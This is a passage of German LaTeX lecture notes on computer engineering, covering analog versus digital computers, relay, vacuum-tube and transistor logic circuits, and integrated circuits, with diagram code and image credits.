schriftlichen Rechnen durch einen Menschen ausgef�hrt werden, - erfolgen hier durch elektronische Schaltungen. - \item - Computer - - Zus�tzlich zu den F�higkeiten eines Taschenrechners erlaubt es ein Computer, - Folgen von Rechenvorg�ngen in Gestalt von \newterm{Programmen\/} vorzubereiten, - bei deren Abarbeitung auf bereits vorliegende Ergebnisse und sonstige Ereignisse - reagiert werden kann (bedingte Anweisungen und Sprunganweisungen). - \end{itemize} - - Die oben aufgef�hrten Rechner lassen sich in zwei Klassen unterteilen: - \begin{itemize} - \item - \newterm{Analogrechner\/} stellen Zahlenwerte durch kontinuierliche physikalische Gr��en - (L�nge, elektrische Spannung, \dots) dar. - Die Genauigkeit der Ergebnisse entspricht der Genauigkeit, mit der der Rechner gefertigt wurde. - Sie unterliegt Qualit�tsschwankungen und �u�eren Einfl�ssen - und kann sich im Laufe der Zeit allm�hlich �ndern - (Qualit�tsabnahme durch Verschlei�, aber auch Qualit�tsverbesserung durch "`Einschleifen"'). - - Zu dieser Klasse geh�ren Zirkel und Lineal sowie der Rechenschieber. - \item - \newterm{Digitalrechner\/} stellen Zahlenwerte durch Ziffern (englisch: \emph{digit\/}) dar. - Sie sind benannt nach den menschlichen Fingern (lateinisch: \emph{digitus\/}), - die als Rechenwerkzeug dieser Klasse angeh�ren. - Die erreichbare Genauigkeit h�ngt allein von der Anzahl der verwendbaren Ziffern ab. - Qualit�tsverlust, z.\,B.\ durch Verschlei�, spielt solange keine Rolle, - wie die einzelnen Werte der Ziffern noch unterschieden werden k�nnen. - Sobald dies nicht mehr der Fall ist, ist der Digitalrechner schlagartig komplett unbrauchbar. - - Neben den namensgebenden Fingern geh�ren zu dieser Klasse - auch das schriftliche Rechnen, der Abakus, mechanische Rechenmaschinen und Taschenrechner. - \end{itemize} - - Wenn heutzutage von "`Computern"' die Rede ist, so sind damit stets \newterm{Digitalcomputer\/} gemeint. - Daneben gibt es auch \newterm{Analogcomputer}, - die Zahlenwerte durch elektrische Spannungen, Wasserdruck oder sonstige physikalische Gr��en modellieren. - - Die Programmierung elektronischer Analogcomputer erfolgt durch das Umstecken von Schaltungen. - Durch geeignete Wahl der Bauelemente k�nnen nicht nur die Grundrechenarten, - sondern auch Operationen aus der Differential- und Integralrechnung effizient ausgef�hrt werden. - Analog"-computer eignen sich daher besonders gut zum L�sen von Differentialgleichungen. - Auf diesem Gebiet hatten Analogcomputer bis in die 1970er Jahre hinein - Vorteile gegen�ber Digitalcomputern \cite{Analogcomputer}, - wurden aber mittlerweile durch diese nahezu vollst�ndig verdr�ngt. - - In dieser Lehrveranstaltung geht es ausschlie�lich um Digitalcomputer. - - \clearpage - - \subsection{Rechnertechnik im Verh�ltnis zu anderen Disziplinen} - - Rechnertechnik als wissenschaftliche Disziplin baut auf der Digitaltechnik und der Mikroelektronik auf, - bei denen es sich um Teilgebiete der Elektrotechnik handelt. - - Die Aufgabe der Rechnertechnik besteht darin, das Gegenst�ndliche -- reale Dr�hte, Halbleiter usw.\ -- - so weit zu abstrahieren, da� ein universell einsetzbarer Rechner entsteht. - Die Rechenergebnisse h�ngen also nicht mehr von dem konkreten Rechner ab, auf dem die Programme laufen - (wie es z.\,B.\ bei einem Rechenschieber der Fall ist), - sondern der Rechner bildet eine Abstraktionsschicht f�r die Programme. - Details, wie der Rechner funktioniert, sind f�r die Programmierung uninteressant; - diese Probleme werden innerhalb der Rechnertechnik gel�st. - - \bigskip - - \begin{center} - \begin{pdfpic} - \begin{pspicture}(-5,0)(12,24) - \small - \psset{unit=0.5cm} - \psline[arrows=<->](-1,0)(-1,22) - \rput(-1.3,0){\makebox(0,0)[br]{\textbf{gegenst�ndlich}}} - \rput(-1.3,22){\makebox(0,0)[tr]{\textbf{abstrakt}}} - \rput(-1.3,2){\makebox(0,0)[r]{Elektromagnetismus, Halbleiter}} - \rput(-1.3,4){\makebox(0,0)[r]{Elektronische Bauelemente}} - \rput(-1.3,6){\makebox(0,0)[r]{Logik-Schaltkreise}} - \rput(-1.3,8){\makebox(0,0)[r]{Prozessoren}} - \rput(-1.3,9){\makebox(0,0)[r]{Maschinensprache}} - \rput(-1.3,10){\makebox(0,0)[r]{Assembler}} - \rput(-1.3,11){\makebox(0,0)[r]{Ein-/Ausgabe}} - \rput(-1.3,12){\makebox(0,0)[r]{maschinennahe Hochsprachen (z.\,B.\ C)}} - \rput(-1.3,14){\makebox(0,0)[r]{abstrahierende Hochsprachen (z.\,B.\ C++, Java)}} - \rput(-1.3,15){\makebox(0,0)[r]{Programmierung}} - \rput(-1.3,16){\makebox(0,0)[r]{Algorithmen, Datenstrukturen, Software-Entwurf}} - \rput(-1.3,17){\makebox(0,0)[r]{Requirements Engineering}} - \rput(-1.3,18){\makebox(0,0)[r]{formale Sprachen, Berechenbarkeit}} - \rput(-1.3,19){\makebox(0,0)[r]{mathematische Strukturen}} - \rput(-1.3,20){\makebox(0,0)[r]{mathematische Beweise}} - \rput(2.1,0.5){\makebox(0,0)[l]{Physik}} - \rput(4.1,4){\makebox(0,0)[l]{Elektrotechnik}} - \rput(6.1,8){\makebox(0,0)[l]{\shortstack[l]{Rechnertechnik und\\technische Informatik}}} - \rput(8.1,12){\makebox(0,0)[l]{\shortstack[l]{Praktische und\\angewandte Informatik}}} - \rput(10.1,16){\makebox(0,0)[l]{\shortstack[l]{Softwaretechnik und\\theoretische Informatik}}} - \rput(12.1,21){\makebox(0,0)[l]{Mathematik}} - \psset{linewidth=0.001,linestyle=none,fillstyle=gradient,gradmidpoint=1.0,gradlines=1000} - \definecolor{RGBwhite}{rgb}{1.0,1.0,1.0} - \definecolor{RGBblue}{rgb}{0.0,0.0,1.0} - \definecolor{RGBred}{rgb}{1.0,0.0,0.0} - \definecolor{RGBgreen}{rgb}{0.0,1.0,0.0} - \definecolor{RGByellow}{rgb}{1.0,1.0,0.0} - \definecolor{RGBorange}{rgb}{1.0,0.7,0.0} - \definecolor{RGBgrey}{rgb}{0.7,0.7,0.7} - \rput(0,2){\psframe[gradbegin=RGBwhite,gradend=RGBblue](2,2)} - \rput(0,0){\psframe[fillstyle=solid,fillcolor=RGBblue](2,2.01)} - \rput(2,6){\psframe[gradbegin=RGBwhite,gradend=RGBred](2,2)} - \rput(2,2){\psframe[gradbegin=RGBred,gradend=RGBwhite](2,2)} - \rput(2,3.99){\psframe[fillstyle=solid,fillcolor=RGBred](2,2.02)} - \rput(4,10){\psframe[gradbegin=RGBwhite,gradend=RGBgreen](2,2)} - \rput(4,6){\psframe[gradbegin=RGBgreen,gradend=RGBwhite](2,2)} - \rput(4,7.99){\psframe[fillstyle=solid,fillcolor=RGBgreen](2,2.02)} - \rput(6,14){\psframe[gradbegin=RGBwhite,gradend=RGByellow](2,2)} - \rput(6,10){\psframe[gradbegin=RGByellow,gradend=RGBwhite](2,2)} - \rput(6,11.99){\psframe[fillstyle=solid,fillcolor=RGByellow](2,2.02)} - \rput(8,18){\psframe[gradbegin=RGBwhite,gradend=RGBorange](2,2)} - \rput(8,14){\psframe[gradbegin=RGBorange,gradend=RGBwhite](2,2)} - \rput(8,15.99){\psframe[fillstyle=solid,fillcolor=RGBorange](2,2.02)} - \rput(10,18){\psframe[gradbegin=RGBgrey,gradend=RGBwhite](2,2)} - \rput(10,19.99){\psframe[fillstyle=solid,fillcolor=RGBgrey](2,2.01)} - \end{pspicture} - \end{pdfpic} - \vspace{-\bigskipamount} - \figurecaptionself{Wissenschaftliche Disziplinen mit Bezug zur Informatik,\n - angeordnet nach Abstraktionsgrad ihres jeweiligen Gegenstandes - \label{Disziplinen}} - \end{center} - - Umgekehrt verwendet die Rechnertechnik die Ergebnisse der Elektrotechnik - (Verhalten elektronischer Logik-Schaltkreise) als Abstraktionsschicht, - ohne sich f�r die Funktionsweise von Transistoren, Relais usw.\ im Detail zu interessieren. - Um diese Abstraktionsschicht zu schaffen, sch�pft die Elektrotechnik ihrerseits - aus den Ergebnissen der Physik (Elektromagnetisums, Halbleiterphysik, \dots). - - \clearpage - - \section{Vom Schaltkreis zum Computer} - - \subsection{Logik-Schaltkreise} - - Bereits mit Lichtschaltern ist es m�glich, logische Operationen durchzuf�hren: - - \begin{itemize} - \item - Und-Verkn�pfung: Reihenschaltung - - \begin{minipage}{2.5cm} - \begin{center} - \renewcommand{\arraystretch}{1.2} - \begin{tabular}{|c|c||c|}\hline - A & B & Q \\\hline\hline - 0 & 0 & 0 \\\hline - 0 & 1 & 0 \\\hline - 1 & 0 & 0 \\\hline - 1 & 1 & 1 \\\hline - \end{tabular} - \end{center} - \end{minipage}% - \begin{minipage}{4cm} - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \logic[logicType=and](-0.75,-0.125){and1} - \psline[arrows=o-](-2,0|and12)(and12) - \uput[180](-2,0|and12){A} - \psline[arrows=o-](-2,0|and11)(and11) - \uput[180](-2,0|and11){B} - \psline[arrows=o-](2,0|and1Q)(and1Q) - \uput[0](2,0|and1Q){Q} - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage}% - \begin{minipage}{6cm} - \begin{center} - \begin{pdfpic} - \newcommand{\invisible}{\tiny\color{white}} - \psset{logicLabelstyle=\invisible} - \newcommand{\logicSymbol}{\small\boldmath\bf\rule{0pt}{0.5cm}} - \psset{logicSymbolstyle=\logicSymbol} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \pnode(-1.5,0.75){C0plus} - \pnode(-0.5,0){C0} - \pnode(0.5,0.3){D0} - \pnode(0.5,-0.3){E0} - \pnode(2.0,-0.3){C1} - \pnode(3.0,0){D1} - \pnode(3.0,-0.6){E1} - \psline[arrows=*-,linewidth=2\pslinewidth](C0)(D0) - \psline[arrows=*-,linewidth=2\pslinewidth](C1)(D1) - \put(0.0,0.3){\makebox(0,0)[b]{A}} - \put(2.5,0.0){\makebox(0,0)[b]{B}} - \uput[180](C0plus){\textbf{+}} - \psline[arrows=->,arrowsize=0.3](C0)(-1.5,0|C0)(C0plus){} - \psline[arrows=o-](1.5,0|D0)(D0) - \psline[arrows=o-](4.0,0|D1)(D1) - \psline(E0)(C1) - \psline(E1)(4.5,-0.6) - \lamp[labeloffset=0.9](4.5,-0.6)(4.5,-2.6){Q} - \ground[connectingdot=false](4.5,-2.6) - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage} - - \bigskip - - \item - Oder-Verkn�pfung: Parallelschaltung - - \begin{minipage}{2.5cm} - \begin{center} - \renewcommand{\arraystretch}{1.2} - \begin{tabular}{|c|c||c|}\hline - A & B & Q \\\hline\hline - 0 & 0 & 0 \\\hline - 0 & 1 & 1 \\\hline - 1 & 0 & 1 \\\hline - 1 & 1 & 1 \\\hline - \end{tabular} - \end{center} - \end{minipage}% - \begin{minipage}{4cm} - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \logic[logicType=or](-0.75,-0.125){or1} - \psline[arrows=o-](-2,0|or12)(or12) - \uput[180](-2,0|or12){A} - \psline[arrows=o-](-2,0|or11)(or11) - \uput[180](-2,0|or11){B} - \psline[arrows=o-](2,0|or1Q)(or1Q) - \uput[0](2,0|or1Q){Q} - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage}% - \begin{minipage}{6cm} - \begin{center} - \begin{pdfpic} - \newcommand{\invisible}{\tiny\color{white}} - \psset{logicLabelstyle=\invisible} - \newcommand{\logicSymbol}{\small\boldmath\bf\rule{0pt}{0.5cm}} - \psset{logicSymbolstyle=\logicSymbol} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \pnode(-1.5,0.75){C0plus} - \pnode(-0.5,0){C0} - \pnode(0.5,0.3){D0} - \pnode(0.5,-0.3){E0} - \pnode(0.5,-2.0){C1} - \pnode(1.5,-1.7){D1} - \pnode(1.5,-2.3){E1} - \psline[arrows=*-,linewidth=2\pslinewidth](C0)(D0) - \psline[arrows=*-,linewidth=2\pslinewidth](C1)(D1) - \put(0.0,0.3){\makebox(0,0)[b]{A}} - \put(1.0,-1.7){\makebox(0,0)[b]{B}} - \uput[180](C0plus){\textbf{+}} - \psline[arrows=->,arrowsize=0.3](C0)(-1.5,0|C0)(C0plus){} - \psline[arrows=*-](-1.5,0|C0)(-1.5,0|C1)(C1) - \psline[arrows=o-](1.5,0|D0)(D0) - \psline[arrows=o-](2.5,0|D1)(D1) - \psline[arrows=-*](E0)(3.5,-0.3)(3.5,-2.3) - \psline(E1)(3.5,-2.3) - \lamp[labeloffset=0.9](3.5,-2.3)(3.5,-4.3){Q} - \ground[connectingdot=false](3.5,-4.3) - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage} - - \bigskip - - \item - - Exklusiv-Oder-Verkn�pfung\\ - "`entweder A oder B, aber nicht beide"' - - \begin{minipage}{2.5cm} - \begin{center} - \renewcommand{\arraystretch}{1.2} - \begin{tabular}{|c|c||c|}\hline - A & B & Q \\\hline\hline - 0 & 0 & 0 \\\hline - 0 & 1 & 1 \\\hline - 1 & 0 & 1 \\\hline - 1 & 1 & 0 \\\hline - \end{tabular} - \end{center} - \end{minipage}% - \begin{minipage}{4cm} - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \logic[logicType=exor](-0.75,-0.125){exor1} - \psline[arrows=o-](-2,0|exor12)(exor12) - \uput[180](-2,0|exor12){A} - \psline[arrows=o-](-2,0|exor11)(exor11) - \uput[180](-2,0|exor11){B} - \psline[arrows=o-](2,0|exor1Q)(exor1Q) - \uput[0](2,0|exor1Q){Q} - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage}% - \begin{minipage}{6cm} - \begin{center} - \begin{pdfpic} - \newcommand{\invisible}{\tiny\color{white}} - \psset{logicLabelstyle=\invisible} - \newcommand{\logicSymbol}{\small\boldmath\bf\rule{0pt}{0.5cm}} - \psset{logicSymbolstyle=\logicSymbol} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \pnode(-1.5,0.75){C0plus} - \pnode(-0.5,0){C0} - \pnode(0.5,0.3){D0} - \pnode(0.5,-0.3){E0} - \pnode(4.0,0){C1} - \pnode(3.0,0.3){D1} - \pnode(3.0,-0.3){E1} - \psline[arrows=*-,linewidth=2\pslinewidth](C0)(D0) - \psline[arrows=*-,linewidth=2\pslinewidth](C1)(D1) - \put(0.0,0.3){\makebox(0,0)[b]{A}} - \put(3.5,0.3){\makebox(0,0)[b]{B}} - \uput[180](C0plus){\textbf{+}} - \psline[arrows=->,arrowsize=0.3](C0)(-1.5,0|C0)(C0plus){} - \psline(D0)(1.25,0|D0)(2.25,0|E1)(E1) - \psline(E0)(1.25,0|E0)(2.25,0|D1)(D1) - \psline(C1)(5,0) - \lamp[labeloffset=0.9](5,0)(5,-2){Q} - \ground[connectingdot=false](5,-2) - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage} - \end{itemize} - - Mehrere dieser Logik-Schaltungen miteinander zu kombinieren, - ist im allgemeinen zun�chst nicht m�glich, - da die Eingabe durch eine mechanische Schalterstellung erfolgt - und die Ausgabe durch das Leuchten einer Lampe. - - Abhilfe schafft ein Schalter, der durch einen Elektromagneten bet�tigt wird, ein sog.\ \newterm{Relais}. - - \begin{center} - \includegraphics[width=8cm]{Relay_principle_horizontal-edited.jpg}\\ - \figurecaptionurlurl{Funktionsprinzip eines Relais}% - {http://commons.wikimedia.org/wiki/File:Relay_principle_horizontal.jpg}% - {7.\,10.\,2012, selbst bearbeitet}% - {http://commons.wikimedia.org/wiki/User:Bisgaard}% - {\fdl\ oder \ccbysanp} - \end{center} - - Schaltzeichen f�r Relais mit 1 bzw.\ 2 Umschaltkontakten: - \begin{center} - \begin{minipage}{6cm} - \begin{pdfpic} - \newcommand{\invisible}{\tiny\color{white}} - \psset{logicLabelstyle=\invisible} - \newcommand{\logicSymbol}{\small\boldmath\bf\rule{0pt}{0.5cm}} - \psset{logicSymbolstyle=\logicSymbol} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \pnode(-1,1.5){A} - \pnode(1,1.5){B} - \relais(A)(B){} - \pnode(-0.5,0){C0} - \pnode(0.5,0.3){D0} - \pnode(0.5,-0.3){E0} - \psline[arrows=*-,linewidth=2\pslinewidth](C0)(D0) - \psline[linestyle=dashed](0,0.25)(0,1.0) - \psline[arrows=o-](-1.5,0|A)(A) - \psline[arrows=o-](1.5,0|B)(B) - \psline[arrows=o-](-1.5,0|C0)(C0) - \psline[arrows=o-](1.5,0|D0)(D0) - \psline[arrows=o-](1.5,0|E0)(E0) - \end{pspicture} - \end{pdfpic} - \end{minipage}% - \begin{minipage}{6cm} - \begin{pdfpic} - \newcommand{\invisible}{\tiny\color{white}} - \psset{logicLabelstyle=\invisible} - \newcommand{\logicSymbol}{\small\boldmath\bf\rule{0pt}{0.5cm}} - \psset{logicSymbolstyle=\logicSymbol} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \pnode(-1,1.5){A} - \pnode(1,1.5){B} - \relais(A)(B){} - \pnode(-0.5,0){C0} - \pnode(0.5,0.3){D0} - \pnode(0.5,-0.3){E0} - \psline[arrows=*-,linewidth=2\pslinewidth](C0)(D0) - \pnode(-0.5,-1.5){C1} - \pnode(0.5,-1.2){D1} - \pnode(0.5,-1.8){E1} - \psline[arrows=*-,linewidth=2\pslinewidth](C1)(D1) - \psline[linestyle=dashed](0,-1.25)(0,1.0) - \psline[arrows=o-](-1.5,0|A)(A) - \psline[arrows=o-](1.5,0|B)(B) - \psline[arrows=o-](-1.5,0|C0)(C0) - \psline[arrows=o-](1.5,0|D0)(D0) - \psline[arrows=o-](1.5,0|E0)(E0) - \psline[arrows=o-](-1.5,0|C1)(C1) - \psline[arrows=o-](1.5,0|D1)(D1) - \psline[arrows=o-](1.5,0|E1)(E1) - \end{pspicture} - \end{pdfpic} - \end{minipage} - \end{center} - - Bei Relais-Schaltungen ist es m�glich, die von einer Logik-Schaltung ausgegebene Spannung - als Eingabespannung f�r die n�chste Logik-Schaltung zu verwenden. - Jede im folgenden angegebene Logik-Schaltung bis hin zu einem vollst�ndigen Computer - kann daher mit Hilfe von Relais realisiert werden. - - 1941 bauten Konrad Zuse und Helmut Schreyer auf diese Weise den ersten Computer, die Zuse Z3. - - \begin{center} - \includegraphics[width=10cm]{Z3_Deutsches_Museum.JPG}\\ - \figurecaptionurlurl{Zuse Z3 (Nachbau im Deutschen Museum)}% - {http://commons.wikimedia.org/wiki/File:Z3_Deutsches_Museum.JPG}% - {7.\,10.\,2012}% - {http://de.wikipedia.org/wiki/User:Venusianer}% - {\fdl\ oder \ccbysanp} - \end{center} - - Wesentlich schnellere Schaltzeiten als mit einem Relais erreicht man mit einer \newterm{Elektronenr�hre}. - Hierbei handelt es sich um einen evakuierten Glaskolben mit einer heizbaren \newterm{Kathode\/} in der Mitte, - um die herum weitere \newterm{Elektroden\/} koaxial angeordnet sind. - - \begin{center} - \begin{minipage}{10cm} - \begin{center} - \includegraphics[width=8cm]{Elektronenroehren-auswahl.jpg}\\ - \figurecaptionurlurl{Elektronenr�hren}% - {http://commons.wikimedia.org/wiki/File:Elektronenroehren-auswahl.jpg}% - {7.\,10.\,2012}% - {http://de.wikipedia.org/wiki/Benutzer:Quark48}% - {CC-by-sa 2.0 Deutschland} - \end{center} - \end{minipage} - \begin{minipage}{5cm} - \begin{center} - \includegraphics[width=4.5cm]{Elektronenroehre_real.png}\\ - \figurecaptionurlurl{Schemazeichnung einer Elektronenr�hre (Triode)\label{Triode}}% - {http://commons.wikimedia.org/wiki/File:Elektronenroehre_real.png}% - {7.\,10.\,2012}% - {http://de.wikipedia.org/wiki/Benutzer:Quark48}% - {CC-by 2.0 Deutschland} - \end{center} - \end{minipage} - \end{center} - - Die einfachste Bauform der Elektronenr�hre ist die \newterm{Diode}\/ - (griechisch \emph{dis hod�s\/} -- doppelter Weg). - Sie hat au�er der Kathode in der Mitte nur eine einzige �u�ere Elektrode, die \newterm{Anode}. - Eine Diode wirkt als "`elektronisches Ventil"' und l��t den Strom nur in einer Richtung durch, - n�mlich mit dem Minuspol an der Kathode und dem Pluspol an der Anode. - - Eine weitere wichtige Bauform der Elektronenr�hre ist die \newterm{Triode}\/ - (griechisch \emph{treis hod�s\/} -- dreifacher Weg, siehe Abbildung~\ref{Triode}). - Bei ihr befindet sich zwischen Anode und Kathode eine weitere Elektrode, das \newterm{Gitter}. - Durch Anlegen einer Spannung zwischen Kathode und Gitter - kann man den Strom, der zwischen Anode und Kathode flie�t, steuern. - In diesem Sinne wirkt die Triode als "`elektronischer Schalter"' - und kann die Funktionalit�t eines Relais �bernehmen. - - Bis in die 1950er Jahre bildeten Elektronenr�hren die Grundlage f�r Computer. - - \begin{center} - \includegraphics[width=10cm]{Eniac.jpg}\\ - \figurecaptionurlurl{ENIAC -- der erste Computer auf Basis von Elektronenr�hren}% - {http://commons.wikimedia.org/wiki/File:Eniac.jpg}% - {11.\,10.\,2012}% - {unbekannt (U.\,S.\ Army)}% - {\pd} - \end{center} - - \breath - - In den 1950er Jahren wurden Elektronenr�hren allm�hlich durch \newterm{Halbleiterbauelemente\/} abgel�st. - Auch hier gibt es die Bauformen \newterm{Diode\/} und \newterm{Triode}. - Letztere wird meistens als \newterm{Transistor\/} bezeichnet - (englisch \emph{transfer resistor\/} -- �bertragungswiderstand, d.\,h.\ steuerbarer Widerstand). - \begin{itemize} - \item - Eine \newterm{Halbleiterdiode\/} -- im folgenden kurz: \newterm{Diode\/} -- - wirkt als "`elektronisches Ventil"': - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-2,-1)(2,1) - \pnode(-1.5,0){A} - \pnode(-1.3,0){AA} - \uput[180](A){Anode} - \pnode(1.5,0){K} - \pnode(1.3,0){KK} - \uput[0](K){Kathode} - \diode[fillstyle=solid,fillcolor=black](AA)(KK){} - \psline[arrows=o-](A)(AA) - \psline[arrows=o-](K)(KK) - \end{pspicture} - \end{pdfpic} - \end{center} - Elektrischer Strom in Pfeilrichtung (Pluspol an Anode, Minuspol an Kathode) darf die Diode passieren; - elektrischer Strom gegen Pfeilrichtung wird gesperrt. - \item - \newterm{Transistoren\/} gibt es in verschiedenen Bauformen - (\newterm{Bipolartransistor}, \newterm{Feldeffekttransistor -- FET}, -% \newterm{Metalloxidschichtfeldeffekttransistor -- MOSFET}, - \dots): - \begin{center} - \begin{minipage}{7cm} - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-2,-2)(2,2) - \pnode(-1.5,0){B} - \uput[180](B){Basis} - \pnode(1.5,1.5){C} - \uput[0](C){Kollektor} - \pnode(1.5,-1.5){E} - \uput[0](E){Emitter} - \transistor[basesep=1.2,arrows=o-o](B)(E)(C) - \end{pspicture} - \end{pdfpic} - - \medskip - - Bipolartransistor - \end{center} - \end{minipage} - \begin{minipage}{7cm} - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-2,-2)(2,2) - \pnode(-1.5,-0.5){B} - \uput[180](B){Gate} - \pnode(1.5,1.5){C} - \uput[0](C){Drain} - \pnode(1.5,-1.5){E} - \uput[0](E){Source} - \transistor[transistortype=MOSFET,basesep=1.2,arrows=o-o](B)(E)(C) - \end{pspicture} - \end{pdfpic} - - \medskip - - Feldeffekttransistor - \end{center} - \end{minipage} - \end{center} - Die elektrischen Eigenschaften der verschiedenen Bauformen sind im Detail unterschiedlich; - alle k�nnen jedoch als "`elektronische Schalter"' eingesetzt werden. - - Eine typische Anwendung eines Transistors ("`\newterm{Emitterschaltung\/}"') besteht darin, - einen Strom zwischen Basis und Emitter flie�en zu lassen - und dadurch den Strom zu steuern, der zwischen Kollektor und Emitter flie�en darf. - �hnliches gilt f�r Feldeffekttransistoren: Eine zwischen Gate und Source angelegte Spannung - steuert den Stromflu� zwischen Source und Drain. - - (Mehr �ber Transistorschaltungen erfahren Sie in der Lehrveranstaltung - \emph{Grundlagen Elektrotechnik}.) - \end{itemize} - - \begin{center} - \begin{minipage}{10cm} - \begin{center} - \includegraphics[width=8cm]{Transistors-white.jpg}\\ - \figurecaptionurlurl{Transistoren}% - {http://commons.wikimedia.org/wiki/File:Transistors-white.jpg}% - {11.\,10.\,2012}% - {http://de.wikipedia.org/wiki/Benutzer:Benedikt.Seidl}% - {\pd} - \end{center} - \end{minipage} - \end{center} - - In einer \newterm{integrierten Schaltung (Integrated Circuit -- IC)} - werden mikroskopisch kleine Feldeffekttransistoren - auf einem Halbleiteruntergrund direkt an denjenigen Stellen erzeugt, - an denen sie in der Schaltung ben�tigt werden. - - \begin{center} - \begin{minipage}{7.5cm} - \begin{center} - \includegraphics[height=5cm]{Intel_80486DX2_top.jpg}\hspace{0.5cm}% - \figurecaptionurlurl{Intel 80486DX2 (Oberseite)\label{IC1}}% - {http://commons.wikimedia.org/wiki/File:Intel_80486DX2_top.jpg}% - {1.\,11.\,2012}% - {http://en.wikipedia.org/wiki/User:Solipsist}% - {CC-by-sa (Version 2.0, nicht portiert)} - \end{center} - \end{minipage} - \begin{minipage}{7.5cm} - \begin{center} - \includegraphics[height=5cm]{Intel_80486DX2_bottom.jpg} - \figurecaptionurlurl{Intel 80486DX2 (Unterseite)\label{IC2}}% - {http://commons.wikimedia.org/wiki/File:Intel_80486DX2_bottom.jpg}% - {1.\,11.\,2012}% - {http://en.wikipedia.org/wiki/User:Solipsist}% - {CC-by-sa (Version 2.0, nicht portiert)} - \end{center} - \end{minipage} - - \end{center} - - Die Abbildungen~\ref{IC1} und \ref{IC2} zeigen die Ober- bzw.\ Unterseite - eines Intel-80486DX2-Mikroprozessors (1992 erschienen). - Das Geh�use ist ca.\ 44\,mm $\times$ 44\,mm gro� - und verf�gt auf der Unterseite �ber 168 Anschlu�stifte. - - \begin{center} - - \begin{minipage}{7.5cm} - \begin{center} - \includegraphics[height=5cm]{80486dx2-large.jpg}\hspace{0.5cm}% - \figurecaptionurlurl{Intel 80486DX2 (ge�ffnet)\label{IC3}}% - {http://commons.wikimedia.org/wiki/File:80486dx2-large.jpg}% - {11.\,10.\,2012}% - {http://en.wikipedia.org/wiki/User:Uberpenguin}% - {\fdl\ oder \ccbysanp} - \end{center} - \end{minipage} - \begin{minipage}{7.5cm} - \begin{center} - \includegraphics[height=4.79cm]{IC_Nanotecnology_2400X.JPG} - \figurecaptionurlurl{Integrierte Schaltung, vergr��ert\label{IC4}}% - {http://commons.wikimedia.org/wiki/File:IC_Nanotecnology_2400X.JPG}% - {11.\,10.\,2012}% - {http://commons.wikimedia.org/wiki/User:Angeloleithold}% - {\fdl\ oder \ccbysanp} - \end{center} - \end{minipage} - - \end{center} - - Abbildung~\ref{IC3} zeigt das Innenleben eines Intel-80486DX2-Mikroprozessors. - Die Platine (\newterm{Die\/}) in der Mitte ist 12\,mm $\times$ 6,75\,mm gro�. - Auf dieser Fl�che von 81\,mm\raisebox{0.5ex}{\footnotesize 2} - befinden sich ca.\ 1,2 Millionen Transistoren. - Aktuelle integrierte Schaltkreise sind noch deutlich st�rker miniaturisiert: - Ein Intel-Core-i7-Mikroprozessor von 2012 enth�lt z.\,B.\ - ca.\ 1,4 Milliarden Transistoren auf einem Die der Fl�che 160\,mm\raisebox{0.5ex}{\footnotesize 2}, - also �ber 500mal so viele Transistoren pro Fl�che. - - Abbildung~\ref{IC4} zeigt einen 1200fach vergr��erten Ausschnitt - aus einem integrierten Schaltkreis (ca.\ 0,05\,mm $\times$ 0,05\,mm). - - \breath - - Unter Verwendung von Halbleiterbauelementen und ohmschen Widerst�nden - k�nnen wir nun die oben bereits mit mechanischen Schaltern realisierten Logik-Schaltungen - reproduzieren und erweitern: - - \begin{itemize} - - \item - Inverter - - \begin{minipage}{2.5cm} - \begin{center} - \renewcommand{\arraystretch}{1.2} - \begin{tabular}{|c||c|}\hline - A & Q \\\hline\hline - 0 & 1 \\\hline - 1 & 0 \\\hline - \end{tabular} - \end{center} - \end{minipage}\hspace*{-0.5cm}% - \begin{minipage}[b]{4.5cm} - \begin{center} - \begin{pdfpic} - \newrgbcolor{almostwhite}{0.9 0.9 0.9} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \logic[logicType=not](-0.75,-0.125){not1} - \psline[arrows=o-](-2,0|not11)(not11) - \uput[180](-2,0|not11){A} - \psline[arrows=o-](2,0|not1Q)(not1Q) - \uput[0](2,0|not1Q){Q\color{almostwhite}.} - \end{pspicture} - \end{pdfpic} - \end{center} - \end{minipage}\hspace*{-2cm}% - \begin{minipage}[t]{4.5cm} - \begin{center} - \begin{pdfpic} - \psset{unit=0.6cm} - \psset{linewidth=0.03} - \begin{pspicture}(-3,-2)(3,2) - \pnode(-1.0,2.0){A} - \pnode(1.0,2.0){B} - \relais(A)(B){} - \psline[arrows=o-](-1.5,0|A)(A) - \psline[linestyle=dashed](0,0.25)(0,1.5) - \psline(B)(1.5,0|B) - \ground[connectingdot=false](1.5,0|B) - \uput[180](-1.5,0|A){A} - \pnode(-1.5,0.75){C0plus} - \pnode(-0.5,0){C0} - \pnode(0.5,0.3){D0} - \pnode(0.5,-0.3){E0} - \psline[arrows=*-,linewidth=2\pslinewidth](C0)(D0) - \uput[180](C0plus){\textbf{+}} - \psline[arrows=->,arrowsize=0.3](C0)(-1.5,0|C0)(C0plus){} - \psline[arrows=o-](1.5,0|E0)(E0) - 